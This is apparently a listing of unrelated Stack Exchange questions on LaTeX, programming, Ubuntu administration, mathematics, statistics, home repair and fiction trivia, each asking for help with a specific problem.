I found this program and I was wondering how can I add on a left brace as in the systeme package or in the cases environment? Also is it possible to left align the right-hand side of the equal sign ?  \documentclass{article} \usepackage{amsmath} \begin{document} \begin{alignat*}{4}    2x & {}+{} &  y & {}+{} & 3z & {}={} & 10 \\     x & {}+{} &  y & {}+{} &  z & {}={} &  6 \\     x & {}+{} & 3y & {}+{} & 2z & {}={} & 13 \end{alignat*} \end{document}


I have a byte array containing encoded bytes as   Byte* encodedBytes;   This contains encoded bytes. Now this array is assigned to an char pointer by typecasting.   char *data = (char*)encodedBytes;    Now Is there any API that can give me the size of data ? I can't use strlen() because encoded bytes may contain null character in between as well .


Is there any rules for abbreviating a word?

I use Prop. to abbreviate property or properties according to . Now I am wondering if there are common rules in English writing for abbreviating words.


OpenVPN not showing when trying to configure a new VPN

I am on Ubuntu 16.04 LTS and I tried to configure a new OpenVPN connection, but when I try to add one only PPTP is shown like in . The answer for that question is not working.  How can I solve this problem?


Equivalent to Welch's t-test in GLS framework

How can Welch's t-test be expressed as a generalized least squares model?  A standard independent samples t-test (where it is assumed that the samples being compared are drawn from populations with equal variance) can be expressed as follows:  $$Y_i = \beta_0 + \beta_1 X_i + \varepsilon_i$$  where $Y$ is the outcome and $X$ is a binary variable corresponding to group membership. The significance test of $\beta_1$ will produce the same t statistic as the standard independent samples t-test. Thus, the two commands below produce the same statistics (with the same degrees of freedom):  t.test(extra~group, data = sleep, var.equal = TRUE) lm(extra~group, data = sleep)   Because a Welch's t-test allows for unequal variances between the samples being compared, my guess is that it would be equivalent to a generalized least squares procedure. The question then is, what call to gls (if this indeed the correct way of conceptualizing the problem) would produce the same results (including degrees of freedom) as:  t.test(extra~group, data = sleep, var.equal = FALSE)


Topologist's Sine Curve: A rigorous proof of why $\overline{S} = S \cup V$

Let $S$ and $V$ be the following subsets of $\mathbb{R}^2$.  $$ S = \left\{ \ x \times \sin \frac{1}{x} \ \colon  \ 0 < x \leq 1 \ \right\}, \qquad V = \left\{ \ 0 \times y \ \colon \ -1 \leq y \leq 1 \ \right\} = \{ 0 \} \times [-1, 1]. $$ Then how to show rigorously that the closure $\overline{S}$ of $S$ is given by  $$ \overline{S} = S \cup V? $$  By rigorously, I mean using the smme kind of argument as is used in real analysis or topology, such as in (most of) the proofs in Rudin or Munkres.   Intuitively, it is clear that as $x \to 0+0$, then $\sin \frac{1}{x}$ will fluctuate its full range of $[-1, 1]$, and for any point $0 \times y$, where $y \in [-1, 1]$, there will be points of $S$ arbitrarily close to it.   But I'm unable to rigorously show this.


Help please? Downloaded ubuntu 13.04 onto usb and can't find .iso file in order to create a bootable usb

I asked a question which was immediately merged with this question:  .  I can understand most of what is said there, except that when I try and use  to create a bootable usb (i want to create one with a laptop which has no cd drive so i can install in on my pc with new blank harddrive), I can't find the .iso file. I downloaded ubuntu 13.04 desktop onto my usb and extracted all the files. So when I am on that universal usb installer i am browsing for .iso files among the ubuntu 13.04 files i downloaded but just can't find one!  To be honest I am a beginner and barely know what a .iso file is so please bear with me, be amused and help me not go back to windows!


Different string comparisons (Russian Language) in MS SQL & .Net. How to achieve same as MSSQL in .Net?

There are two strings which have the same meaning in the Russian Language:  "СРЕДСТВО ДЛЯ МЫТЫЯ СТЁКОЛ" "СРЕДСТВО ДЛЯ МЫТЫЯ СТЕКОЛ"  MS SQL The first string is stored in the database. I can make where condition either with first string or second string but I am getting the record which is stored in the database. .Net I want the same result in .Net too but not succeed yet.  I have taken two string variables and directly compare with "==" with each other which gave me "false" result Checked with String.Equal with StringComparison parameter and result is "false" only  Any help is appreciated. Thanks!!


How does suspend/sleep store data in ubuntu 18.04 for a laptop?

I have a laptop with an ssd for the main drive. I'm curious if anyone knows how ubuntu 18.04 stores data when you suspend/sleep a laptop. Is it writing each time to my ssd or does it keep the data stored in RAM in a lower power state? Given the limited nature of writes for ssd's I would like to avoid data being written every time I suspend the laptop because I do it a lot. Also, is suspend different for each release or is it a standard for all versions and distros? Thank you in advance.


after installing Tor browser it will not run. It get stock in Verificerer signatur.. ? What to do? Citizenzeven


I wonder if the text: "Sorry, your browser does not support inline SVG." inside a SVG, is affecting SEO?  <svg width="100" height="100">     <circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />     Sorry, your browser does not support inline SVG. </svg>


I'm trying to add a song from one class to a second Album class. But i'm getting "Exception in thread "main" java.lang.NullPointerException" error. I'm new to java and any help is appreciated.  public class Album { // class behaviours private String albumName; private Song[] songs; private int totalAlbumLength; private int numSongs;  // constructor public Album(String albumName) {     setAlbumName(albumName); }   // special setters: adding new song public void addSong(Song newSong) {     this.songs[this.numSongs] = newSong;     this.numSongs++; }  public void addSong(String songName, String artistName, int minutes, int seconds) {     Song newSong = new Song(songName, artistName, minutes, seconds);     addSong(newSong);  }   Song class  public class Song { // class behaviours private String songName = ""; private String artistName = ""; private int songLength = 0;  // constructors public Song(String songName, String artistName, int minutes, int seconds) {     setSongName(songName);     setAtristName(artistName);     setSongLength(minutes, seconds); }  public Song(String songName, String artistName, int seconds) {     setSongName(songName);     setAtristName(artistName);     setSongLength(seconds); }


So, I made a mesh with a lot of cubes ( I've created a cube, and copied it, pasted it to make figures ), And, when I've done it, I tried to smooth it, but it looks wierd because it's made with a lot of cubes, so a lot of faces, I already tried Ctrl + J, but faces remain, Is there anyway to fuse those lot of faces in one?


Where can I find good exercises for algebraic geometry that require hard, concrete computation?

I've been studying scheme theory from Hartshorne and Qing Liu for a few months now. (For those who are not big fans of Hartshorne, I have to note that I agree with you: I use it only for exercises.) I now have a basic understanding of concepts like separatedness and properness, and quasicoherent sheaves, although I haven't gotten to cohomology quite yet.  I do all the exercises that don't seem totally trivial (and there are indeed a few of those, in both textbooks). I do feel like this has given me a good solid understanding of the material, but I also note that it's a bit one-sided. All the exercises in both texts are pretty abstract. I do what I think makes the most of them: for each exercise, I tend to write 5-10 page solutions which carefully develop machinery to makes the problem trivial, and this has been great practice for the broad realities of research. Typically a term will come to mind that I've heard but never studied and which seems applicable, and I'll develop that concept (or what I think that concept ought to be) until it solves my problem.  At risk of repeating it too much, I'm really happy with certain aspects of what I've gotten out of this, but it's also clearly a very impoverished approach: one unfortunate result is that I rarely get to sit down with a real scheme and do some real computation and explore a real example. I'm becoming increasingly aware of the fact that if I were faced with such a situation, I wouldn't know where to begin.  So here's my question.     Hartshorne and Qing Liu have essentially the same issue. I've also used Vakil's FOAG, which is markedly better, but still a bit weak in that department. Where can I find a collection of exercises in algebraic geometry and schemes that will force me to get my hands dirty with some real schemes, and really compute something?


Vandermonde's identity? How to continue?

I have:   $$\sum\limits_{k = 1}^{10}k\binom{10}{k}\binom{20}{10-k} = $$  and I know that it doesn't matter if $k = 0$ so it also equals:  $$= \sum\limits_{k = 0}^{10}k\binom{10}{k}\binom{20}{10-k} = $$  and now it really reminds Vandermonde's identity so it's tempting to write:  $$= \binom{30}{10} \cdot \sum\limits_{k = 1}^{10}k = \binom{30}{10} \cdot 10!$$  but it seems wrong because on smaller numbers the equations doesn't hold... What's the right way to continue in order to get an equivalent expression without sigma?


Change the text on the message which is displayed after the user registration

I am looking for a way to replace the text in this message which appears on the website after a new account if created.     Thank you for applying for an account. Your account is currently   pending approval by the site administrator. In the meantime, a welcome   message with further instructions has been sent to your e-mail   address.   Has anyone managed to change this successfully?  Thanks! Anton.


My project: I want to develop a library that would solve equations. For example: Given input "3x+5=-1" I would like the output x=6  Why? Just for fun, I am learning and am interested in this topic.  What do I already have: I have already written a lexer and parser from scratch. So I am able to compute "3+6*3/(2^3)" etc.  What exactly do I want to do: Given my written lexer and parser (the process uses Reverse Polish Notation which I have researched how to do myself) I would like to expand it with variable recognition and then calculation of those variables. Basically solving linear equations.  My question: Where do I even start on implementing variables or solving equations. I would like to make it work for any linear equation. Just some resources or tips which I can expand upon myself. As this is a learning experience, external libraries are not a solution.  What I would like to do in the future: If I manage to conquer this problem I would like to expand the thing with equation simplification, quadratic equations etc.  How do I approach this? What kind of object structure would I need?


Buying my first off-camera light. Flash or always on-light?

I am planning to buy my first off-camera light equipment.   And am confused between a flash & an always on light source.  Can someone point me to a good online resource or share their experience?  My use cases   Outdoor portrait shoots  Studio like shoots indoors   Thanks!


Installing Windows 8.1 on Ubuntu 14.10 dual boot

I want to ask if it is possible to install Windows 8.1 on a Ubuntu machine making it dual boot ?  If yes, please also tell the procedure.  If no, please tell any workaround for installing latest high end graphics windows games on Ubuntu machine. (They do not work in virtualbox and wine).  I searched very much on Internet but can not find any satisfactory solution. Please help.


Print head won’t clean, despite multiple cleaning processes

I’ve got an Epson WF-7620 printer. I first started using the printer a little over two years ago. To date the printer has printed approximately 5000 pages. I have always used 3rd party ink cartridges with this printer, apart from the original Epson cartridges that came pre installed.  The printer gets used pretty much every day, Monday - Friday.  Through out the printer’s life it has required lots of print head cleaning, probably twice a month. Cleaning often does not work first time and requires multiple cleans.   But recently no amount of cleaning seems to clean to print heads.  I must have tried cleaning it 15 times, but the colours CMY never pass the print head test sheet test. The black is fine.   Any ideas what I can do to get the print heads clean again?


IPython evaluate file from local directory

I'm wondering how I would go about evaluating the definitions of a python file in the directory my IPython REPL is running in. This would seem like a great workflow to be able to test the functions I just wrote inside the REPL.  This doesn't work:  with open('file.py') as f: eval(f.read())


Find a formula for Taylor series of $\left(\frac{1}{1+z^2}\right)^n$

So the way I think I should approach this is by getting a result for $n=1,2,3...$  and then examine them. I could easily get the Taylor series expansion for $n=1$, but then I don't really know how to proceed, because I can't always break down a power of a polynomial. And a power of a summation doesn't seem as a legit answer either.   Can anyone help? Thanks


Show the Volterra Operator is compact using only the definition of compact

The Volterra operator $V:L^{2}[0,1]\rightarrow L^{2}[0,1]$ is defined by $(Vf)(x)=\int_0^xf(t)dt$.    I am wondering if it can be shown that $V$ is compact by definition - that is, either that $V$ maps bounded sets to precompact sets, or equivalently, that for any bounded sequence $(f_n)$ in the domain, $\{Vf_n\}$ has a convergent subsequence.  I have seen an elegant proof of the compactness of $V$ using the Arzela-Ascoli theorem.  Also, I have come across proofs using the notion of Hilbert-Schmidt operators.  However, both of these notions were foreign to me when I was assigned this problem, and I am curious if I can show $V$ is compact without using these ideas; unfortunately, I am not sure how to proceed directly.  Thank you.


Is there any objective reason to favour d20PFSRD over the Paizo PRD?

I've seen different references to online manuals for Pathfinder at  and .  What is the difference between these two sites?  Since the core rules are likely to be the same, having a more "official" source of rules seems moot. Are there any distinctive differences in content offered?  e.g.  Does d20PFSRD offer anything that the PRD doesn't (or things that should be paid for), or does Paizo miss out on anything by people using d20PFSRD that they can invest in making new materials?  Is there any real objective reason to use one instead of the other?


Class vs instance initialization in Python

I am a bit puzzled why when initializing an instance of a class in Python, I cannot use class attributes. Here is the example:  class TestClass: ... shared_list = ['a', 'b', 'c'] ... def __init__(self): ...     self.length = len(shared_list)   Now   >>> TestClass.shared_list ['a', 'b', 'c']   So the list exists before any instance of the class appears, but  >>> tc = TestClass() Traceback (most recent call last):   File "<stdin>", line 1, in <module>   File "<stdin>", line 4, in __init__ NameError: global name 'shared_list' is not defined   Am I missing something simple?  UPD: Thanks to everyone for help and a prompt response. I've cleared up my confusion: class doesn't define a scope in Python.


Are there groups of Basilisks, or even more than one? I know that there were one or two recorded -- Herpo the Foul bred one and obviously Salazar Slytherin's did as well. Were there any wild Basilisks which nobody found?


If we remove the square in the upper right corner of a $8\times 8$ chessboard.  The question is: Is it possible to cover the entire remaining area, with $1\times 3$ chocolate bars? (they can be laid on the chessboard vertically and horizontally aswell)  For the answer: We know that there will be $63$ squares left on the chessboard, of which $32$ are white and $31$ are black, since the one in the upper right corner was black. $63$ is divisible by $3$, so it could be possible to cover the area, but that doesn't prove that an arrangement exists to do it. I'm not sure how to continue and am seeking help. Thanks.


Are there any additional belief systems regarding The Force, other than Light, Dark and Grey?

That I know of, there is the , the  and the .  You make a concious decision which of these paths to follow, but are there any additional belief systems someone could adhere to if they were force users?  Black, white and grey pretty much covers everything in the spectrum I suppose but the expanded universe is so massive, I'm wondering if anyone has found another way.


When is a graph isomorphic to the source?

Let $S$ be a scheme and let $f:X\to Y$ be a morphism of separated $S$-schemes.  shows that, when $X$ is reduced, the obvious morphism $g_f:\Gamma_f \to X\times_S Y\to X$ is an isomorphism, where $\Gamma_f$ is the scheme-theoretic image of $\Delta_f:X\to X\times_s Y$.     Can we show that $g_f$ without assuming that $X$ is reduced?   I see how the reduced induced structure is being used there, but I do not see if $X$ being reduced affects the statament, $X$ cannot have double/triple/... points if $\Gamma_f$ does not! So, I wonder if there is a probably more elaborate proof that shows $g_f$ to be an isomorphism.   The only assumption I have is that $S$ is Noetherian.   A hint or a reference would be appreciated.


Integratethe following function: $\int \frac{1}{x(x+1)(x+2)\cdot\cdot\cdot(x+n)}dx, n \in \mathbb{N}$

Integrate the following function: $$\int \frac{1}{x(x+1)(x+2)\cdot\cdot\cdot(x+n)}dx, n \in \mathbb{N}$$  I saw this question as an exercise on a University of Colorado website, and I'm not quite sure how to solve this. My first instinct was do this integral step-by-step. So first determine $\int\frac{1}{x}dx$, then $\int\frac{1}{x(x+1)}dx$, so on in order to notice a pattern and then use induction to prove it but I'm hopping there is a more concrete way to find the solution.


What i know is that system on chip(SOC) is like microcontroller alongside with other component like bluetooth module etc. So what is the difference between the mcu in soc and the normal one ? and usually i hear that mcu in soc is application processor does that means it needs operating system to code on or we can bare metal coding on the mcu directly and how it differ from the normal mcu ?


How many number string with absolute difference of every neighboring digits greater than 1

You are given a string with length 10. Its characters are 0,1,2,...,9 (every number are in the string). How many permutations of the string such that the absolute difference of every two neighboring number are greater than 1?  ex: 1425379680 is correct 1234567890 is wrong because 1 and 2's difference are 1, 2 and 3's difference are 1, etc.  Note: Because it is a string, 0 as a starting number is okay.  *Sorry if my english is bad.


I'm trying to create globally-unique identifiers in JavaScript.  I'm not sure what routines are available on all browsers, how "random" and seeded the built-in random number generator is, etc. The GUID / UUID should be at least 32 characters and should stay in the ASCII range to avoid trouble when passing them around.


How to use AT commands in Android by 'root' the phone

We have various Android devices from Spike, Samsung, Micromax, etc. How can we issue AT commands from Android to the modem? We searched in Google Play but did not find any app related to this.   suggests:     [F]irst you have to root the phone...`    How can we do this?


Can we make grep faster by indexing words in files?

Over a decade ago I imagined an improved version of grep that would use indexes to make recursive searching faster.  I never got around to writing it, but I wonder if somebody else did!  My original idea was:   Keep a cached index of word -> [line-numbers] for each file, which would automatically update when the file size or timestamp changes. Use the cache for lightning-fast searches over any files with up-to-date indexes, if the expression can make use of it. For search expressions where the index cannot help, default to grep's usual behaviour.   Although this optimization would be limited to whole-word-searching, I thought it should be grep-compatible, so that it could be dropped in to replace /usr/bin/grep and help speed up various existing scripts that use grep.  There are limitations to this idea:   Only word-searches or searches including certain \\<...\\> terms would be able to benefit from the indexes, and the latter case could be complex to implement. The time taken to check file stats to ensure the caches are up-to-date might make the time saved on searches minimal.   So do you think it would be worthwhile, or does point 2 make the idea worthless?  And has someone already tried this?  If so, do please share.


The answer might be clear, but to me it's not.   Recently I exaggerated a bit with the code formatting using the ` sign. While other see rivers, when used to often, I like it for it suppresses scrollbars on over length oneliners which I consider to be unpleasant. But my main point is: Words which tend to step out of the text semantically I tend to format as code.  For instance in     I have .ui, .py and .pyc files generated. Now, when I edit the .py file, how will it [...]   I'd highlight those .** endings, cause this way while reading it indicates something like: now-comes-an-identifier. Do you know what I mean? Note that concerning this example I'd treat PDF or HDF differently, because the capitals already fulfill that function.  I'd like to have a quick feedback on whether I strictly should stick to use "`" for code only or whether there is a "gray area".


Sup norm. Is the integral of functions always greater than or equal to the integrand?

I am doing some proofs in real analysis with the sup-norm metric.  In my arguments, I have that $sup\: x\in[0,1] \big\{\int_{0}^{x}|f(t)-g(t)|dt\big\}\leq sup\: x\in[0,1] \big\{|f(t)-g(t)|\big\}$. My question; is this true for all continuous functions on $[0,1]$?


Has Batman ever gone mad and had to be stopped?

Superman has been exploited by Poison Ivy in Hush, and he's definitely mad in Injustice. What about Batman? Has Batman ever had to be brought to justice/stopped/killed by his fellow superheroes? (That one time when Superman dreams of Batman snapping Joker's neck doesn't count)  Edit: The Dark Knight Returns doesn't count: Batman wasn't really mad, and he wasn't wrong either.


I'm using Kubuntu 14.04 and I'm asked for password when:   Using sudo in terminal. Login. Installing/removing/updating programs with Muon. KWallet initiates or adds a password.   I don't want to write any password. Never tell me the risks.  It still ask me for password when installing programs with Muon.


How do I check OS with a preprocessor directive?

I need my code to do different things based on the operating system on which it gets compiled. I'm looking for something like this:  #ifdef OSisWindows // do Windows-specific stuff #else // do Unix-specific stuff #endif   Is there a way to do this? Is there a better way to do the same thing?


Has anybody been able to overcome this issue while installing GDAL in Ubuntu 20.04 LTS or should I just downgrade my Ubuntu version? sudo add-apt-repository ppa:ubuntugis/ubuntugis-unstable  Err:20 http://ppa.launchpad.net/mc3man/trusty-media/ubuntu focal Release   404  Not Found [IP: 91.189.95.83 80] Err:21 http://ppa.launchpad.net/ubuntugis/ppa/ubuntu focal Release   404  Not Found [IP: 91.189.95.83 80] Reading package lists... Done                       E: The repository 'http://ppa.launchpad.net/mc3man/trusty-media/ubuntu focal Release' does not have a Release file. N: Updating from such a repository can't be done securely, and is therefore disabled by default. N: See apt-secure(8) manpage for repository creation and user configuration details. E: The repository 'http://ppa.launchpad.net/ubuntugis/ppa/ubuntu focal Release' does not have a Release file. N: Updating from such a repository can't be done securely, and is therefore disabled by default. N: See apt-secure(8) manpage for repository creation and user configuration details.


Detailed information about data usage in Windows 10?

I'm looking for a way to get detailed data usage  in Windows 10, something that would show the usage hour by hour (or even minute by minute) for each application.  I know about the two methods described  but the first one only shows global data usage over 30 days (I need more details), and the second only shows data for built-in Windows app, and not for regular desktop apps.  Any suggestions?


matlab2tikz for surf plots: reducing data?

I was really happy to see that matlab2tikz also supports surf plots. Unfortunately, it produces too much data, so I run into the well-known memory problem. I tried compiling with lualatex instead of pdflatex, but I get errors like     Package pgfkeys Error: I do not know the key '/tikz/axis lines*' and I am goi   ng to ignore it. Perhaps you misspelled it.   Since I have never used lualatex before, I have not tried any further at this point, but I am open to suggestions.  I then found the option 'minimumPointsDistance' for matlab2tikz. This works great for normal plots, but it seems to have no effect for a surf plot.  I then tried the option 'each nth point' in the tikzpicture. Using every tenth point is fine for compiling, but does not produce an acceptable plot. 7 is better, but still far from ok, 6 gives me the old memory problem.  I tried doing the plot in MatLab with only half the points in each direction, but this looks worse than 'each nth point={10}'.  Why does this have to be so complicated? This was only a test run with 100 by 100 points!  There is still room for optimization, though. A large portion of my plot is close to zero, so it would be best to kick out some of those. The interesting part seems to be very sensitive to leaving out points, so I would prefer a solution that can use the whole output.  I know, I can always produce an eps file and convert it to pdf. It looks ok, especially if I set axis off in MatLab. But then I don't know how to recreate them with tikz...  I'm really running out of options now and hoping desperately for any kind of help or suggestions!


If $f$ is continuous on $(0,1)$ and $\lim_{x \to 0^+}f(x) = +\infty$, show that $f$ is not uniformly continuous

If $f$ is continuous on $(0,1)$ and $\lim_\limits{x \to 0^+}f(x) = +\infty$, show that $f$ is not uniformly continuous.   Edit: There is a similar question that has been answered, but this one discusses the reasoning behind certain details in more depth.  Attempt  Suppose $f$ is uniformly continuous. Then $\forall\epsilon > 0$ there exists $\delta > 0$ s.t for all $x,y \in S \subset \mathbb{R}$, if $\lvert x-y\rvert < \delta$ then $\lvert f(x) - f(y)\rvert < \epsilon$.  But $\lim\limits_{x \to 0^+}f(x) = +\infty \implies \lvert f(x) -f(y)\rvert = +\infty > \epsilon$.  Comment: I know that this is not formally right due to how I'm using infinity, but I can't figure out how to formalize what I'm trying to say. I understand what is going on with the function and why it can't be uniformly continuous, but expressing it is becoming difficult.


What is this symbol and how to write it in overleaf?

How to write this symbol (ξ) in latex in overleaf?


JavaScript Math.random duplicate generation

I have a unique field in a SQL table that currently has 200K rows I use randomString(6, '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ') to insert data on that field, I have too many unique conflict error when I want to insert new rows In my log , I see that randomString generated HEGDDX string today but it generated in 3 months ago too and I have an error on insert '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' has 36 character , I generate 6 length random string, So there is 36^6=2176782336 = 2.17E9 possible cases, So 200K rows in 2 billion has 0.00009 possibility for duplication Is 0.00009 big enough for too may errors? is Math.random bad random generator? what is alternative for me? const randomString = function(length, chars) {   let str = '';   const charsLen = chars.length;    for (let i = 0; i < length; i++) {     str += chars.charAt(Math.floor(Math.random() * charsLen));   }   return str; }


I am new.  I have two account on stackoverflow a personal and other for my work like developer and I think that moderators  think  , that I have multiple account and they say me that "please stop create multiple account maybe I made some mistake I did not know is permit create more a account.  my question are: should I have two account a personal and other for my work or should I join to two account? how I could contact with a moderador from stackoverflow for explain you that is not my  intentation create two account if  I could join to two account.


How to connect a directory/filesystem on the host to a win10 vm?

How can I attach a linux directory or file system to a win10 VM? This file system / directory is to be dynamically shared between several machines, both linux & win10. I can't use the physical /dev/sd?? address because they may change every time the host is booted.


Installing gcc-7 (and newer packages) in Ubuntu 16.04

I am running Ubuntu 16.04 LTS and I want to install a newer version of GCC, specifically gcc-7 which released . There is a package for it in the , but the Ubuntu version listed next to it is 7-20170407-0ubuntu2 (I have no idea what this corresponds to). I tried following the instructions in   and  and had the same issues. They are from before gcc 7.1 officially had a release, so I am not sure if the instructions would change at all now that it is out?  Even after adding the ppa I get the following:  user@computer:~$ sudo add-apt-repository ppa:ubuntu-toolchain-r/test user@computer:~$ sudo apt-get update user@computer:~$ sudo apt install gcc-7 Reading package lists... Done Building dependency tree        Reading state information... Done E: Unable to locate package gcc-7   Any idea on how I can install the new gcc? I am not looking to upgrade my distribution. I am also not above building from source, however that is kind of my last resort because managing that all by hand is just annoying.


I am running Ubuntu 14.10.  I was listening to this YouTube video:   When I decided to make it full screen, but it didn't want to go, so I very quickly double-clicked on it twice, and then the entire screen went black. And no matter what I did, it go away. Although I could still hear the music from the video. As I couldn't do anything really about it I had to hold down my power button and force it to shutdown. And when it started up the screen was fine. It is a laptop so I don't think that the monitor just turned off or something.  I have filed a bug report here about this:   But I was just wondering if anyone here knows why this kind of thing could happen? And if it is actually a problem with my configuration settings and not actually a bug, or if it is a bug, then some sort of workaround.    Information Update:  As you will be able to see if you go to the place where I filed the , it has now been marked as Confirmed and Critical. And in the bug report comments you will see that this crash is not only caused by making YouTube videos fullscreen, but by making any page fullscreen.


which is the best ubuntu for intel atom processor

Which is the best Ubuntu for Intel Atom powered notebooks? I have already tried 13.04 but that did not work. please help.


Force category choice before creating new post?

How can I force the user to first choose a category before continuing to the editor when creating a new post? I want to , but this is based on the category, so I need to know that before showing the editor (unless I do some fancy Ajax stuff, but in this case I don't want to do that).


How can I repair a toilet that is leaking at the base?

Flushing the toilet causes a small amount of water to leak out from under the base of the toilet on one side. Stops after 2-3 seconds. Also noticed there is a higher pitch dripping of water which sounds like it is coming from the top part of the toilet. Lastly, the base of the toilet is slightly loose due to one of the bolts attaching it to the floor coming loose. How bad does this sound? I'm concerned this could cause some rotting to the floor (upstairs) - obviously needs to be fixed but do I really need a plumber or can I unscrew the toilet and fix this myself? I know zilch about plumbing.


Why colored text is not shown in terminal? Python

I'm trying to print some colored text, however every method I tried failed, the Interpreter just prints the color codes as well with the text, it does not change the color any ideas why? I am using Python 3.6.8 on a Windows 10 Pro computer Here is a code sample: print("Blah blah \033[0;32mthis part will be green\033[00m blah blah.")


Create a single pdf from multiple text, images or pdf files

I have a bunch of text files, images and pdf files which I want to convert into a single pdf file. How do I do it?


Why grep is returning non matching lines when I don't redirect stderr to stdout?

The script I use is actually returning this output:  (source /Thetra/Commun/env_ora.sh >/dev/null; sh aclenv/arun)  geIlgif0t1 -DVORACLE geIlgif0t1 prg_25900: ACOMP=X geAhadlAd1 -DVORACLE geAhadlAd1 prg_25948: ACOMP=A syCcgge0t1 -DVORACLE syCcgge0t1 prg_26023: ACOMP=S2 syVcalq0t1 -DVORACLE syVcalq0t1 prg_26071: ACOMP=Y syVvali0t1 -DVORACLE syVvali0t1 prg_26119: ACOMP=Y syAedit0t1 -DVORACLE syAedit0t1 prg_26167: (1312) DBMS WARNING: Column not found in table. (-11238)   RETURN (-6)     END  END     END     IF cm_para_f2('VDEF','abQtip_0n1','unicite',syAedit0t1:$v_unicite)<>0      OR null_convert$(syAedit0t1:$v_unicite,'R') <> 'F' THEN SET syAedit0t1:$v_unicite TO 'R'     SET $v_tips_mrgl TO 'S'     SET $v_rfbt_iban, $v_rfbt_intitule, $v_orga_creancier, $v_orga_tip_adr1, $v_orga_tip_adr2,         $v_orga_tip_adr3, $v_code_docu, $v_tips_centre, $v_code_etab, $v_orga_tip_emetteur,  $v_orga_emetteur, $v_rfbt_compte, $v_orga_banque, $v_rfbt_emetteur TO     SELECT rfbt_iban, rfbt_intitule, orga_creancier, orga_tip_adr1, orga_tip_adr2, orga_tip_adr3 ACOMP=N syAvali0t1 -DVORACLE syAvali0t1 prg_26215: (2751) DBMS WARNING: Column not found in table. (-11238)  + to_string_using$(str_to_val$(substr$(clip_str$(to_string$($f_imme_no)),1,4)),'&&&&')         + to_string_using$(str_to_val$(substr$(clip_str$(to_string$($f_sepa_propriete_no)),1,5)),'&&&&&')     IF syAvali0t1:$v_unicite ='R' THEN  SET $v_sepa_rum3 TO $v_sepa_rum3 + substr$(to_string_using$(syAvali0t1:$v_ordr_direct,'&&&&&&&&&'),7,9)     ELSE ACOMP=N syAcalc0t1 -DVORACLE syAcalc0t1 prg_26263: ACOMP=N syAcalc0t2 -DVORACLE syAcalc0t2 prg_26311: ACOMP=N syAcalc0t3 -DVORACLE syAcalc0t3 prg_26359: ACOMP=N   To check for errors I use the following command:  (source env_ora.sh >/dev/null; sh aclenv/arun) | egrep '^ACOMP=$'   Output:  (1312) DBMS WARNING: Column not found in table. (-11238)   RETURN (-6)     END  END     END     IF cm_para_f2('VDEF','abQtip_0n1','unicite',syAedit0t1:$v_unicite)<>0      OR null_convert$(syAedit0t1:$v_unicite,'R') <> 'F' THEN SET syAedit0t1:$v_unicite TO 'R'     SET $v_tips_mrgl TO 'S'     SET $v_rfbt_iban, $v_rfbt_intitule, $v_orga_creancier, $v_orga_tip_adr1, $v_orga_tip_adr2,         $v_orga_tip_adr3, $v_code_docu, $v_tips_centre, $v_code_etab, $v_orga_tip_emetteur,  $v_orga_emetteur, $v_rfbt_compte, $v_orga_banque, $v_rfbt_emetteur TO     SELECT rfbt_iban, rfbt_intitule, orga_creancier, orga_tip_adr1, orga_tip_adr2, orga_tip_adr3 (2751) DBMS WARNING: Column not found in table. (-11238)  + to_string_using$(str_to_val$(substr$(clip_str$(to_string$($f_imme_no)),1,4)),'&&&&')         + to_string_using$(str_to_val$(substr$(clip_str$(to_string$($f_sepa_propriete_no)),1,5)),'&&&&&')     IF syAvali0t1:$v_unicite ='R' THEN  SET $v_sepa_rum3 TO $v_sepa_rum3 + substr$(to_string_using$(syAvali0t1:$v_ordr_direct,'&&&&&&&&&'),7,9)     ELSE   We can see that grep is returning non matching lines.  When I redirect the stderr to stdout with this command:  (source /Thetra/Commun/env_ora.sh >/dev/null; sh /Thetra/Oracle/transfert/P2016.H.1/aclenv/arun) 2>&1 | egrep '^ACOMP=$'   As expected, the output is void.  Why grep is returning non matching lines when stderr is not redirected ?


In Supernatural, Castiel is tricked into giving up his Grace, the source of his Angelic powers, including his wings, and falls from heaven. In the process he loses those wings.   The same thing (or a very similar thing) happened to the Angel Anna earlier in the series, and though she goes for a while without wings, when she recovers her grace, she gets her wings back. But when Castiel gets his grace back, he doesn't reclaim his wings:    Why?


Print String Variable altered in If statement

I'd like to preface this with that I've only started learning Java earlier at the beginning of this year, so I appreciate all your help!  I'm currently working on a Shadowrun (3rd Edition) program that turns Decking into a Command Prompt.  I'd like the user to be able to enter Blue, Green, Orange, or Red to start with a Host Color, but also give a Random option as well.      Scanner user_input = new Scanner(System.in);   String HostColor;   System.out.println("What is the color of the Host? (Blue, Green, Orange, Red, Random)"); //Get the Host's Color   HostColor = user_input.nextLine();   Random rand = new Random(); while ((!HostColor.equals("Blue")) || (!HostColor.equals("Green")) || (!HostColor.equals("Orange")) || (!HostColor.equals("Red"))) {    if (HostColor.equals("Blue")) {     ...     break;   }   else if (HostColor.equals("Green")) {     ...     break;   }   else if (HostColor.equals("Orange")) {     ...     break;   }   else if (HostColor.equals("Red")) {     ...     break;   }   else if (HostColor.equals("Random")) {     int RandomHost = (rand.nextInt(4));       if (RandomHost == 0) {       HostColor.equals("Blue");       ...       break;       }       else if (RandomHost == 1) {       HostColor.equals("Green");       ...       break;       }       else if (RandomHost == 2) {       HostColor.equals("Orange");       ...       break;       }       else if (RandomHost == 3) {       HostColor.equals("Red");       ...       break;       }   }   else {     System.out.println("Invalid Command");     System.out.println("What is the color of the Host? (Blue, Green, Orange, Red, Random)");     HostColor = user_input.nextLine();   }   } System.out.println("Host is a " + HostColor + "...");   The code works just fine when specifying a particular color.  However, when choosing the Random option and then printing the overall results, rather than printing one of the four colors, my code says the HostColor is Random.  I appreciate any input to help solve this problem - thanks in advance!


I'm .taring some files with the path example/super_user/Output.*.  The resulting .tar looks like this:  + example     + super_user           - Output.zip           - Output.xml           - Output.txt   But I want the file to be like the following:  - Output.zip - Output.xml - Output.txt   Do you know how I can achieve this while still being in another directory?


Why can't I launch Ubuntu in a computer with Windows 10?

I installed Ubuntu 20.04 two weeks ago in my new laptop. The laptop has Windows 10 so I decided to keep both OSes. It worked properly until last week, when it started to launch Windows automatically, and no longer asks me to choose an OS to boot. How can I enter Ubuntu?


